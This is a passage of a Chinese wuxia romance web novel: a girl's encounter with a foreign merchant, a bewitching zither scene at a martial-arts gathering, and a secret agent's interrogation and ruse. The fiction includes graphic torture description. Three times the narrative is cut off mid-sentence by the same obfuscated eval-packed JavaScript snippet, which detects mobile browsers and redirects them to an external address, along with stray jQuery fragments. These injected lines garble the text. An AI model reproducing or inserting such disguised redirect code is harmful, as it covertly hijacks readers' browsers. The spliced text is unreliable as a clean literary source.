燕溪大气都不敢出,前胸紧贴廊柱。唐玥正在气头上,只顾拂袖疾行,竟未曾留意柱子后藏着个人,径自匆匆离去了。
她暗暗松了口气,正要蹑手蹑脚离开,一道低沉的声音骤然在身后响起,近得像是贴着耳根,她瞬间头皮一炸——
“阁下可听够了?”
男人不知何时已立在她身后一步之遥,高大的身影将日光遮去大半,叫她后颈汗毛猛然竖起,像幼时在山中迷路,偶遇猛兽时那种本能的战栗。
然而就在四目相对的刹那,那股令她毛骨悚然的压迫感忽然消散了。
他的目光落在她的眼睛上,整个人像被定住了一般,原本冷硬的神情出现了一丝难以捉摸的裂痕。
“你的眼睛……”
燕溪心跳如擂鼓,张了张口,却发不出声音。
他似是察觉到她的不安,往后退开半步,日光倾落,她这才看清他的模样——
男人约莫二十出头,身量极高,一袭赭色胡服,胸口绣着一只衔日苍鹰。面部轮廓深刻如刀削斧凿,绝非中原人的长相。眼睛是深浓的灰,像暴风雨前的天际,又像草原上亘古的狼烟。
“姑娘莫怕。”他右手抚胸,微微欠身,行了一个北朔人惯用的礼节,“在下何真,朔国商会的行商,身上带着官府签发的凭由,并非亡命之徒。”
燕溪见他没有恶意,狂跳的心终于落回原处,这才发觉后背已经沁了一层薄汗,被穿堂风一吹,凉丝丝的。
“我恰巧路过此地,什么都没听见……”
闻言,男人微微一笑,他的嘴唇生得很妙,笑起来像一张拉满的弓,意态风流。
“听见了亦无妨。鄙人只是一介商贾,为了生意,许多事都身不由己。商队想在两国立足,官府与江湖都得打点周全,姑娘可明白?”
“明白、明白……”燕溪只想脱身,连连点头,不动声色地往走廊方向挪,“我已然离席许久,家仆应该正在寻我,先告辞了。”
男人仿佛看穿了她的心思,长身一侧,将她去路堵得严实:“姑娘是来澹月楼用午膳的?在下忝为此间新主,这顿饭便由我做东,为姑娘压压惊。”
燕溪一惊,没想到澹月楼居然易主给朔人,下意识想摇头,可那个何真堵在她面前纹丝不动像座小山,分明是不应便不肯罢休的意思。她自小娇养在药王谷,何曾被人这样拿捏过,一时又慌又恼,却无可奈何,只得硬着头皮同意:“……那便恭敬不如从命了。”
男人唇角一扬,侧身做了个请的手势,不紧不慢地走在前头引路,始终将她拢在半步之内,断了她溜走的念想。
“还未请教姑娘芳名?”
她才不会傻到报上真名,心念电转,一个名字脱口而出:“祝云窈。”
“轻裾含碧烟,窈窕似云浮……真是好名字。”
这朔人虽识得几句诗书,可惜马屁拍在了马腿上,她没忍住,噗嗤一声笑了出来。
何真闻声转头,只见少女笑颜如花,睫梢沾了日光的碎金,眸中碧色粼粼如春水,一时竟看痴了。二人沿回廊转过一道弯,他才收敛心神,状似不经意地问:“祝姑娘可是江湖人士?”
“不是,”燕溪信口胡诌,“家兄在临川求学,小女特来探望。”
“哦?可是璇玑书院的学子?”
“……非也,只是寻常私塾罢了。”
何真点了点头,语气里透出几分关切:“不是璇玑书院就好。近来玉芝山上正办武林大会,三教九流齐聚,颇不太平。听闻前几日有个帮派惨遭灭门,帮主至今活不见人、死不见尸。姑娘若无要紧事,还是离那地方远些为妙。”
“多谢楼主相告。”
燕溪客套一句便不再接话,她顶着祝云窈的名头,哪敢对玉芝山的事多置一词。何真也不再多言,引她穿过花墙重回前楼,径直登上那寻常人一掷千金也难入的三楼。
这一层只设了四间雅阁,以梅兰竹菊为名,各占一角。因武林大会的缘故,楼中连日客满,只剩预留给楼主的兰阁还空置。
房间邻水,槛窗大敞,河上风光一览无遗。窗边长案供着一只玉壶春瓶,斜插着数枝初绽的碧桃,案角错金博山炉里的沉香与桃花的清甜气息交缠,幽幽浸了满室。
何真在她对面落座,扣了扣桌沿,立即便有侍女捧着杯盏鱼贯而入,玉盘珍馐流水般呈上。
队尾跟着她的三名随从,除了青萝,另外两人是燕澈为她精心挑选的护卫,俱是一等一的好手。三人的目光不动声色地从何真身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211075|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上掠过,一言未发,很懂规矩地垂首到她身后站定。
等菜上齐,一位须发皆白的老先生徐徐走上三楼中央圈出的一片空地。澹月楼平日多是用丝竹雅韵助兴,但今日梅阁里坐了仙音坊的客人,再好的乐师也不敢班门弄斧,便请了位临川城里有名的说书先生。
“啪”的一声脆响,惊堂木落定,老先生抚了抚长髯,朗声道:“列位客官,今日要说的,乃是十五年前那场北伐旧事——”
“诸位可知,咱们襄国,从前的疆域可不止这长江以南。七十年前,凉、朔两国连兵南下。那一战,打得是山河破碎、生灵涂炭。崇安城破之日,宫室焚为焦土,百姓流离失所。”
“高宗皇帝被迫携宗庙社稷渡江南迁,这才保住了半壁江山。自此,长江以北尽入敌手。襄国子民日夜北望,盼的就是有朝一日,王师北定,收复故土。”
老先生猛拍惊堂木,声调陡然一扬:
“这一盼,便是整整七十年!七十年间,多少志士仁人壮志未酬,多少热血男儿埋骨他乡。直到太上皇楚熠即位,这位天子,可是有一番雄心壮志,登基之初便立下宏愿:此生必渡长江,收复祖宗基业!”
“他厉兵秣马十余载,终于等来了机会。彼时朔国内乱,新君初立,根基不稳。太上皇直接御驾亲征,亲率二十万大军北伐。”
“这一仗,初时真是势如破竹!”老先生眉飞色舞,仿佛亲历战场,“先克淮北,再下徐州,不过月余便推进千里。满朝文武山呼万岁,都道是中兴有望,大业将成——“
说到此处,他话锋一转,重重叹了口气:
“然而,盛极必衰,骄兵必败。坐镇盛京的枢密院使张知远连上三道急奏,苦苦劝谏应休养生息,再图后举。怎奈太上皇被胜利冲昏了头脑,只道张知远怯战,一纸诏书将他罢免,继续挥师北进……”
老先生口若悬河,这段历史竟比书上读来更觉惊心动魄,满座食客皆停箸凝神,燕溪也听入了迷。
这时,何真忽然开口:“祝姑娘可知,城外这璇玑书院的院首是何人?”
“……自然知道,便是张老先生。”
璇玑书院六十年前由清流一派的宰相任秋池所创建,只消通过入学考试,食宿束脩一概全免,便是寒门子弟也能安心向学。书院不问出身、不论门第,数十年来桃李遍天下,入仕者十之七八,朝中六部官员,少说有三成出自璇玑门下。
现任院首张知远,便是评书中提到的前任枢密院使。此人精通兵略、善谋善断,十五年前因直谏被罢,索性挂冠归隐,一头扎进书院教书育人。他在士林中素有声望,当今圣上数次遣人请他复职,皆被称病婉拒。
“你们襄国真是有趣,这等国耻,非但不避讳,反而任人编成评书,堂而皇之地四处传唱……”何真指腹摩挲着酒杯,唇角噙着一缕似笑非笑的弧度,“魏太后当真好手段。”
燕溪虽不懂朝局之事,却也隐隐觉得此话不宜接茬:“我等一介草民,还是不要妄议太后为好。”
何真沉默了一会儿,目光在她面上游移,从嘴唇到鼻尖,最后落在那双幽碧的眼眸里,久久不移。
“祝姑娘是襄国人,这瞳色倒是少见得紧。”
燕溪心头一刺,放下玉箸,声音冷了几分:“你什么意思?”
——她当然知道自己的瞳色少见,甚至从小到大,就没见过第二个绿瞳之人。
她眼珠的绿原本藏得深,不细看倒也不明显,可一旦被人察觉,就总会引来异样的目光。
从前在药王谷还好,能进碧云深的都是父亲的私交好友,纵然瞧出什么,也不会拿到人前说嘴。可这回来玉芝山,她原想结识几个同龄女孩,赴了两场茶宴,才知道什么叫人心险恶——她们席间笑语晏晏,互相姐姐妹妹叫得亲热,转头流言却如长了翅膀,说燕渡早年在西域养了个胡姬外室,她便是那见不得人的私生女。
其实何须他们点破,她自己早就疑心过。
八岁那年她生了一场大病,醒来时记忆全无,连自己的名字都忘了个干净,哪里会记得母亲长什么样子。而父亲和哥哥的眼珠都是纯正的墨黑,她又不是傻子,当然能隐隐猜到,自己与燕澈恐怕不是同母所出。
“姑娘莫恼,在下并无冒犯之意。”
男人灰色的眼睛里翻涌着某种深沉而复杂的情绪,不是戏谑、不是惊艳,倒像是……怀念。
他看着她,一字一顿,近乎虔诚:
“你的眼睛很美,很……高贵。”
5. 第 5 章
是夜,三月的山风裹挟着漫山杏花的清甜,从天枢峰一路吹落,掠过栖霞馆的飞檐翘角。馆内灯烛高烧,廊下成排的绢纱宫灯被这阵风撩得轻轻摇晃。
璇玑书院今夜设下宴席,款待八大派与两位新晋胜者。宴会男宾居东,女眷居西,中间一道锦帘垂落,绣着银线千峰,烛光摇曳处,峰峦明灭如梦中山水。
酒过三巡,首座的老人搁盏起身,满堂喧声不约而同地静了下来。
张知远年逾花甲,须发如霜却神采不衰,一袭半旧青衫立于灯火通明之处,自有一股不怒而威的沉稳气象。
“这三日的比试,诸位有目共睹。按照之前的约定,少林与武当的两席,将由四小峰的胜者填补。”
少林和武当百年前或可称江湖正统,然而七十年前朔国进犯,长江以北尽数沦陷,两派掌门与真传弟子皆死守故土,不肯南渡。如今的少林武当不过是些旁支,未承衣钵,早已不复当年声威。更何况方外之人本就不愿参与争权夺位的俗事,故而此番只做见证,并不下场。
剩下六派之中,唐门专擅暗器毒术,常被讥为上不得台面;药王谷以医术济世,武斗未免强人所难。这两派虽遣了人来,在众人眼中也只是走个过场。
真正能争这武林盟主之位的,不过断水山庄、点苍、丐帮、峨眉,四家而已。
“沧浪剑派的陆青崖,归元教的方回,二人都是全胜,未尝一败。”张知远说着,端起酒盏,目光笑吟吟地从席间众人面上扫过,“在座若有谁明日要与这二位交手,今夜的酒还是少吃两杯为妙。”
燕溪听得好奇,隔着那道锦帘朝外席上觑了一眼,陆青崖在席,方回的位子却是空的。于是转头问身旁的女孩:
“柳姐姐,归元教的人是什么来历?竟然都敢不给张老先生面子。”
柳玉心是点苍掌门之女,眉梢天生带着几分凌霜的傲气,颇有几分其父的风范。两派素有来往,燕溪在药王谷便与她相识,算是今夜女眷中唯一的熟面孔。
“归元教是近两三年才在西境冒出来的门派,”柳玉心压低声音,“门下弟子鱼龙混杂,不少都是西凉人。他们一向只在陇右边境一带活动,今年千里迢迢跑到玉芝山,肯定是有备而来……”
柳玉心似乎还有话想说,但她已经被那边的动静吸引过去了。
张知远拍了拍手,将一名青年从席末唤至身前,掌心虚按在他背上,那姿态既有长辈的爱护,又有几分郑重其事。
“老朽膝下无子,恒彦跟了我十余年,也算半个儿子。趁今日人齐,让他给诸位敬杯酒。”
当着八大派掌门的面亲自引荐弟子,无异于宣布接班人。一时间恭维之声四起,众人纷纷举盏捧场。
“听闻林公子的丹青之技出神入化,只消听人口述模样,便能画出七八分神韵,不知是真是假?”
说话的是丐帮的孙长老,生得膀大腰圆,嗓门极亮,一句话引得满座侧目。
张知远捋须笑道:“恒彦,既有人问,你就露一手给诸位瞧瞧。”
“那弟子便献丑了。”青年依言起身,向席间从容一揖。灯火映着他一身鸦青直裰,领口与袖缘滚了道极细的银边,衬得面色愈发白净。
不一会儿,几名书童依次上前,将笔墨纸砚在临墙的长案上铺陈停当,林恒彦转过身去,背对满座宾客,悬腕待笔。
谁起的头自然是谁接着,孙长老乐得出题,四下张望一圈,盯上了角落里正在布菜的一名小厮。
“浓眉毛、小眼睛,鼻梁矮矮的往下塌,嘴倒是不小。个头不高不矮,溜肩膀,缩脖子……”
林恒彦凝神细听,待他说完,悬着的笔锋便落了下去,从容不迫,不过半柱香的工夫,一幅小像已跃然纸上。
众人争相传阅,皆啧啧称奇:不过寥寥数笔,竟将那小厮缩脖溜肩的怯态拿捏得分毫不差,连他方才端盘时微微发抖的手都像是画活了。
“妙极!妙极!”孙长老拊掌大笑,“丹青之道,能画形者多,能画神者少,林公子二者兼得,果然名不虚传!”
外席赞声四起,内席的女眷们却安静得多。隔着一道锦帘,姑娘们端坐如仪,偶尔交头接耳几句,声音也压得极低。燕溪托腮听了一耳朵恭维话,只觉索然无味,视线漫无目的地在帘外游移,恰好瞥见燕澈悄然离席。
要知道,某人来之前可对她千叮咛万嘱咐,不可失了大家风范、不可任性离席,这会儿他自己倒先跑了。
燕溪心下一哂,放下茶盏,趁柳玉心转头与人说话的工夫,也提裙溜了出去。
出了宴席,灯火喧嚣被甩在身后,四周一下子静得只剩风声。廊下灯笼稀疏,隔几步才一盏,将青石小径映得明明灭灭,踩上去像是走在一截一截断裂的月光里。
她追出来不过眨眼的工夫,却已不见燕澈的身影,想来是用了轻功,不想让人跟着。
自打上了玉芝山,燕澈每日早出晚归,偶尔回来也是神色匆匆,有时人在她面前,心思却好像已经飘远。此刻追不上他,她心底忽然涌起一阵惶然,好像不只是刚才,而是从某一天起,他就在一步步走向她到不了的地方。
少女在原地站了一会儿,夜风灌进袖口,凉意慢慢洇上来。头顶那盏灯笼被风吹得直晃,光影在脚下摇摇摆摆,好似随时要散去。她抱住手臂,终于认命似的转身,打算原路折返。
正在这时,一道琴音忽然穿透夜色而来。
那声音起初极轻极远,像有人在山涧深处拨弄了一下清泉,泠泠一响便散入风里,她几乎以为是幻觉。可琴音旋即又起,这一回清晰了许多,婉转缱绻如春水照花,每一声都恰到好处地落在人心坎上。
她不由自主地循声而去,青石小径弯弯绕绕,拐过两重花墙,眼前蓦地豁然开朗——
竟是一片杏林。
夜色里看不真切花的颜色,只觉漫山遍野的白,欺霜赛雪。琴声就从林中来,隔着层层花枝,隐约可见一座四面垂纱的凉亭,纱帘被风鼓起又落下,兜得满亭月色轻摇。
她尚在新奇地张望,曲调却在这几息之间悄然转了风骨——
方才还是花底流莺般的软语低回,此刻铮然一声裂帛似的长音撕开夜幕,继而繁弦骤起,音如万壑奔雷,一重一重碾过来,仿佛整片杏林都被裹入了铁与血的潮水里,连枝头将落未落的花瓣都被这股肃杀之气震离了枝干,纷纷扬扬坠入夜色深处。
身后突然传来一声极轻的脆响,是枯枝在靴底碎裂的声音,混在琴声的间隙里,细微却分明。
燕溪回头看去,青年就立在那漫天飞白之中,月光像起了私心,把最清最柔的一缕凝在他眉宇,流连不去。
“哥……”
他抬起一根手指抵在自己唇前,做了个噤声的手势,然后凤眸越过她望向杏林深处的亭子,眼底有种不一般的、陌生的锐利。
下一秒,琴声中的激越之势陡转直下。铁马冰河俱已寂灭,宫阙成灰、江山易色,唯余断壁残阳、白骨黄沙,与一腔无处可付的悲愤,化作几缕泛音和经久不散的嗡鸣。
琴声已断,可那份悲意并未随之消散,那些不属于她的离散与遗恨,像一场倒春寒,无声无息地漫过她的五脏六腑。
“哥,这曲子……听得我好难受。”
“此曲名为《玉龙殇》,乃前朝亡国太子所作。相传国都沦陷之夜,他孤身坐于宫墙之上演奏此曲,弹罢折琴殉国。”
燕澈顿了顿,眉峰不易察觉地皱紧。
“这曲子原是亡国哀乐,弹出来的应是死志,方才那曲却尽是生意。恨而不发、隐而不灭,大有潜龙在渊的意思……琴为心声,此人定非等闲之辈。”
话音未落,琴声又起。
这一回,弦上奏出的却是截然不同的乐曲。那旋律极轻极缓,像春夜里的窃窃私语,每一个音都欲说还休、千回百转。
然后,某种异样在燕溪体内悄悄发了芽。
她说不清那是什么感觉,像有人拿羽毛在耳垂上来回地蹭,酥酥麻麻的,从耳根一路烧向颈侧。继而是后背,沿着她的脊椎缓缓滑过,不是真的触碰,却比真正的触碰还要让人发颤。她下意识攥紧了外袍的袖子,却止不住从骨头缝里漫上来的酥麻感。
空气中的杏花香忽然变得浓郁,浓得几乎有了实体,一片片贴上她的唇。她张口去呼吸,入肺的却不是夜风,是一种甜得发腻的、湿漉漉的暖意。
燕澈在同一时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211076|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻察觉到了异样。
弹琴之人将内力揉入弦音,以声传意,以意乱神。不过这人手法虽精妙,修为还尚浅,在他面前不攻自破,恐怕只能拿捏些武功低微之人。紧接着他意识到什么,心中一紧,看向身侧——
少女的眼神已经不对了。
那双眸子里的碧色比平时深了数倍,瞳孔微微涣散,脸颊浮着一层不正常的薄红,嘴唇翕动着,呼吸急促而紊乱。
他当即抬手,食指与中指并拢,抵向她后颈的风府穴,然而就在指尖触及她皮肤的刹那,少女动了。
那个动作并不猛烈,甚至带着一种梦游般的迟缓,像水底的水草被暗流推动,无声无息地改变了方向。
她踮着脚尖,脸越靠越近,瞳仁深处的幽碧已化成了一汪将溢未溢的湖水,颤颤地映出他的影子。
燕溪并不知道自己在做什么。
另一个人接管了她的身体,那个人比她大胆、比她贪心、比她诚实一百倍,带着她品尝到了月光——
冰凉的、泛着青白色的月光,从他唇上渡过来。
霎时间她头脑一片空白,没有念头、没有羞耻,只剩下一种从血液深处涌上来的、近乎蛮荒的饥饿。那股饥饿不是食欲,而是更原始的东西,像一头在暗夜中游荡太久的兽,终于嗅到了同类的气息,于是所有的克制和教养都让位给了牙齿和舌头。
那饥饿驱使着她去啃、去舔、去索取,有小兽品尝美味时本能的蛮横,不知轻重,牙齿磕在他嘴唇上,留下深深浅浅的齿痕。
月光仿佛终于不堪亵渎,化作一只手,扣住了她的后颈。只要轻轻一捏,她脆弱的颈骨就会如花枝般折断,但那只手没有施加任何力道,只是一动不动地箍在她脖子上,像一道无声的戒律,对她进行隐秘的规训。
少女确实被镇住了,忽然学会了用餐的礼仪,不再满足于囫囵吞咽,而是细细地品、慢慢地尝。
她的嘴唇从他唇上松开一线,又贴回去,这回没有牙齿,只有柔软的、湿润的摩挲。她沿着他下唇的轮廓一寸一寸地蹭过去,在方才咬出的齿痕上停住,舌尖探出来,轻轻地舔了一下。
——不是索取,不是安抚,是笨拙而认真的柔情。
他的呼吸乱了。
毫无预兆地,像涨了一整夜的春潮,堤岸看似安然无恙,沙土却已被一寸寸淘空,终于在这一刻,全线溃堤。
然而,就在这时,琴声骤止。
这一静,却远比任何声音都来得刺耳,把她连皮带骨地从这场旖梦中剥了出来。
意识劈头盖脸地砸回身体里,等她意识到自己在做什么的时候,浑身的血先是凝固了一瞬,旋即疯狂地涌向四肢百骸。脸颊、耳根、脖颈,灼烧着漫上一层几乎要滴血的红。
——她在亲燕澈,在亲自己的哥哥。
月光不肯替她遮掩,他的嘴唇上亮晶晶、湿漉漉的,还有她的牙印,无声地指认着她方才的罪行。
燕溪踉跄着后退一步,肩胛骨撞上冰冷的树干,脊背上的凉意非但没能让她降温,反倒衬得周身的滚烫愈发无所遁形。
“哥……”她不敢看他的表情,低头看向地面,睫毛抖个不停,“我不知道……我不是故意的……”
她说不清自己在害怕什么,好像怕他生气,又怕他不生气,一颗心被这两种截然相反的恐惧拉成了一根细弦,悬在半空,等他宣判。
青年的呼吸已平复如常,耳根那抹不易察觉的薄红也随夜风退去,只剩月光在他眉眼间流淌,像雪后初霁的长空,冷得干净、不留余温。
“那琴声有惑心之效,你我皆受其扰。”他轻描淡写地开口,随手掸去肩头的落花,“不必放在心上。”
不必放在心上……
她默默在心里咀嚼这几个字,唇齿间竟泛起苦意,脸颊还是烫的,心已经冷了下来。
少女颤动的睫尖上凝出一滴莹泪,他抬手想为她拂去,指尖却在半空顿住——亭中传来一声轻响,纱帘猛地鼓起又落下,应是弹琴之人跑掉了。
他本该追上去,脚步却被她眼睫上的湿意绊住,终究不忍把她一个人丢在原地,只能微微叹了口气。
“……走吧,该回去了。”
6. 第 6 章
玉芝山以西七八里地,有一处不起眼的农庄。前后不过二十来户人家,最北边的院子尤为破败,矮墙豁了几个口子,菜畦杂草齐腰,像是许久无人打理。屋后拴着头老驴,正闭着眼打盹,苍蝇落在它屁股上来来去去,它连尾巴也懒得甩一下。
青年翻身下马,院门“吱呀”一声从里头推开,一个年轻女子迎了出来。她年纪二十出头,眉眼生得清秀,一身玄衣束袖,更衬得腰身挺拔。
“大人辛苦了。”
燕澈把缰绳随手一抛:“有什么辛苦的,不过装模作样挨一顿打罢了。”
霍彩鸢眼尖地发现他左袖破了一道口子,不由担心:“伤着了?”
“没有,只是划破了袖子。”他轻描淡写一笑,“丁辞川的剑不好躲,躲干净了反倒惹人生疑。”
——昨日宴席后张知远当众抽签定了今日的对阵,八派捉对厮杀,药王谷恰与点苍对上。两派世交,关系匪浅,丁辞川下手自然留了分寸。
二人在一处落满枯叶的地窖口停住。这本是农户存粮越冬的地窖,如今从外头落了三道铁栓,锈迹与新磨的划痕交叠,看得出近日频繁开合。
她抬手依次解开铁栓,最后一栓落下,一股浑浊的气息便从门缝里挤了出来:潮湿的土腥、陈腐的稻草,以及压在最底下的、淡淡的血腥味。
石阶极窄,仅容一人通过,清晨下过雨,墙壁还渗着水,指尖触上去冰凉黏腻。
阶梯尽头,两名宸卫司的暗卫立在甬道两侧,玄衣几乎与暗色的石壁融为一体。见青年下来,无声地退开半步,让出通路。
燕澈径直越过他们,走入地窖深处。几缕浑浊的天光从头顶气窗漏下来,在夯土地面上投下几道惨白的长条,像是谁用白粉划出的界限。
光照不到的角落里,铁链轻轻碰了一下,发出细微的声响。铁链末端绑在柱子上,缚着一个佝偻的人形。
他的衣衫早已分不清原本的颜色,血渍与污泥层叠交叠。先前被折断的琵琶骨用夹板草草固住,另一只手却已不成样子。
指甲剥去了三枚,裸露的甲床泛着乌青,指缝间塞过竹签的痕迹犹在,十指肿胀如紫茄,几乎辨不出原来的形状。膝盖以下的裤腿被盐水浸透过,小腿上密密麻麻的鞭痕已经开始溃烂,苍蝇盘旋不去。
周潮听见脚步声,浑身便不可抑制地痉挛起来,喉咙里挤出几声含混的呜咽,像被拎出水面的鱼,只余徒劳的喘息。
青年缓缓蹲下身来,与他平视。地窖里仅余几缕残光,那双凤眸却不需要借光,自有一种幽寒的亮,如深潭倒映的冷月,不含怒意,亦无悲悯,只是静静地看着,像在看一件已经坏了的东西。
周潮认出了他,那夜碎骨之痛犹在肩头,此刻又从伤处一路烧回心口,嘴唇翕动了几下才挤出声音:“大人……大人开恩,小人、小人什么都招了,再没有半句隐瞒……”
霍彩鸢抱臂立在一旁,冷冷道:“他早先嘴硬得狠,现在应该是撬干净了。”
燕澈站起身,淡淡扫了一眼他肿烂的下肢:“清理一下他的伤口,好生看管,别弄死了。”
铁栓一道一道落回原位,石壁之后再无声息。二人沿着矮墙走了几步,院中一棵歪脖子老槐刚抽了新芽,午后的风一晃,筛下满地零碎的光斑。
“拿来吧。”
霍彩鸢从怀中取出一卷口供,展开递过去:“那人始终用黑布裹面,周潮从头到尾只看到他一双眼。不过他既然覆面,应是没来得及乔装打扮,兴许有些细节比我们一路跟踪搜集到的更真实。”
“来的目的呢?”
“是替莲妃给周潮传信的。他们让周潮在青蛟帮暗中挑选水性好的弟子,以盐运的名义招揽到长江沿岸,操练水战。”
太上皇旧部若要迎楚熠南归,长江是绕不过去的天堑。他们是要在那条路,提前撕开一道口子。
“传信之人不会走远,周潮被抓,他们必定要回来灭口,否则会对宫里那位不利。”他将口供递回去,神色凝重,“赶紧通知临川到盛京沿线的暗桩,全线戒备,尤其是几处渡口。”
“是。”她点头领命。
燕澈沉吟片刻,又问:“归元教查得如何?”
“查了,但查不深。”霍彩鸢面露难色,“这教派两三年前才在陇右边境冒出来,从上到下口风极紧,暗桩渗不进去。目前只知道此次代表归元教比武的方回,早年是西凉慈恩寺的僧人,还俗之后再出现已属归元教。除此之外,没什么收获。”
“先放一放,回京再查。”燕澈话锋一转,“眼下有一件更要紧的事。”
“大人尽管吩咐。”
“昨夜栖霞馆的宴席上,张知远引荐了个弟子,名叫林恒彦。”燕澈随手折了根槐枝拨弄,新芽嫩得鲜翠,衬得长指白如裁玉,“此人有一手丹青绝技,只消听人口述模样体态,不必亲眼见到,便能画出七八分神韵。我已提前派人请他来此地一趟,算算时辰,快到了。”
“原来昨夜您传急令让我审讯周潮,是为了此人。”她眉心微动,迟疑片刻才问,“可他是璇玑书院的人,能信得过么?”
燕澈摇头:“不能,所以一会儿你须得格外小心,切勿让他起疑。”
说着,他指了指另一侧的几间茅屋:“你换身衣裳,扮做村里的农妇,去别的屋子等着。就说前几日你的孩子叫人拐了,请他来画张像,交给官府缉拿。”
然后又将她从上到下打量一遍,微微蹙起了眉,“先把衣裳换了,头发散下来往脸上抹把灰。走路要驼着背,再哭一哭,眼睛肿些才像。”
霍彩鸢嘴角抽了一下:“……是。”
约莫小半个时辰后,院门外响起马蹄声。
林恒彦翻身下马,弯腰将缰绳系上院外的木桩,背上竹笥里的笔墨随之轻碰了一声,他抬手按住,动作里有种爱惜宝贝的仔细。
眼前的院子篱墙不高,打理得还算齐整,檐下挂着干辣椒,几只芦花鸡正在墙根刨土。
还没等他出声询问,燕澈已经迎了出来。
“叫林兄专程跑一趟,实在过意不去。”
“燕少主客气了。”林恒彦拱了拱手,“您说要替人画像,不知所为何事?”
“今日我在村中义诊,有一农妇来找我求助,说前两日她的孩子被拐走了。”燕澈领着他往屋内走,一面说一面忧虑地叹了口气,“那人贩子是夜里来的,她没看清脸,官府要缉拿又必须要样貌。孩子还小,多耽搁一日便多一分凶险。我知道寻常画师做不来这个活儿,所以只能找你。”
“不曾看清五官?”林恒彦脚步微缓,思忖了片刻,“若只有体态步姿,确实棘手,但也不是不能一试。”
“多谢林兄了。”
屋内陈设寒素,一张缺了角的木桌,两条板凳,凳面磨得发亮。
“大嫂在里头,劳驾林兄多担待些,她伤心过度,说话可能颠三倒四的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211077|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
林恒彦点头,不一会儿,里屋走出一个年轻妇人。
她一身粗布麻衣,头发草草绾着,面色黄黑,像是好几天没洗过脸。眼眶红肿着,鼻尖也是红的,手里绞着一条灰扑扑的汗巾,出来之后就坐在靠墙的板凳一角,好像恨不得把自己揉进墙里去。
林恒彦在她对面坐下,将竹笥解下搁在脚边,声音放得很柔,像对待一个随时会受惊的小动物:“大嫂,我姓林,是璇玑书院的学生。燕少主托我来帮忙画个像,你别急,想到什么说什么,说错了也不要紧,咱们慢慢来。”
妇人闷闷地点了下头,眼眶里又涌上一层水光,却没哭出声。她拿汗巾揩了下鼻尖,才沙哑地开口。
“那人……个头很高,快顶着门楣了,肩膀宽得像扇门板。不是虚胖,是壮实,站在那儿跟棵树一样。”
林恒彦从竹笥中取出笔墨,铺纸悬腕:“头上还有什么比较明显的特征?”
“脖子左边有道疤。”妇人拿手在自己颈侧比了一下,“这么长,深得很,皮都皱着。左耳戴着个银环,不大,拇指肚那么一圈。”
“眼睛还记得吗?”
“记得,眼窝深,眼珠子颜色浅,不像襄国人的眼睛。”
“其他部位呢?”
“看不清。”
“他走路什么样子?”
妇人攥了攥汗巾,像是在努力搜刮记忆里那些惊恐的碎片:“走路没声。我、我都没察觉他走过来,要是早听见,兴许还能叫人……”
她说到这里声音就碎了,低下头去用汗巾捂住脸哭泣。
林恒彦没有催促,只是安静地等着。等她的抽噎声渐渐收住,他才继续问。
如此一问一答,又过了近一炷香的功夫。他不急不躁,每一处含糊之辞都耐心地绕回去重新厘清,笔下添添改改,始终从容。
末了,他提起画纸就着窗口的阳光细细审视了一遍,补了两笔,才将纸面转向她。
“大嫂看看,像不像?”
纸上之人眉骨高耸,眼窝深陷,一双浅色的眼珠透出阴鸷的凶光,鼻梁挺而略歪,颧骨棱角分明。宽肩厚背,颈侧一道狰狞的弧形疤痕从耳根蜿蜒而下,左耳一枚拇指肚大小的银环。
妇人盯着看了半晌,忽然浑身一颤,眼泪又淌了下来,连连点头。
林恒彦将画像平放在桌上,用镇纸压好,温声道:“大嫂放宽心,有了这张画像,官府办案好过大海捞针。”
妇人哑着嗓子道了句谢,一旁始终沉默的燕澈也忍不住开口称赞:“只听了几句散碎描述,竟画得如此传神,难怪张老先生对林兄偏爱有加。”
“雕虫小技,不值一提。”林恒彦将笔墨逐一归入竹笥,忽然想起什么,又道,“燕兄,那人贩子应非中原人士,更像是西凉人,他们成年男子有配耳饰的风俗。官府若从这条线索着手,兴许能快上几分。”
燕澈点头一笑:“多谢林兄提点,我会转告官差。”
他亲自将人送到院门外,目送那匹马拐过那棵老槐树,才收回目光。
霍彩鸢从里屋走出来,像一尾从浑水里游回清流的鱼,周身那股瑟缩的浊气被风一吹便散了,眉眼间重新浮起属于暗卫的冷锐。
春色正好,午后的日光在青年眉骨上镀了一层薄金,他望着玉芝山的方向,唇角浮起一抹意味深长的笑意:
“今日归元教已胜,明日峰顶决战,想必会很热闹。”
7. 第 7 章
三月初五,武林大会最后一日。
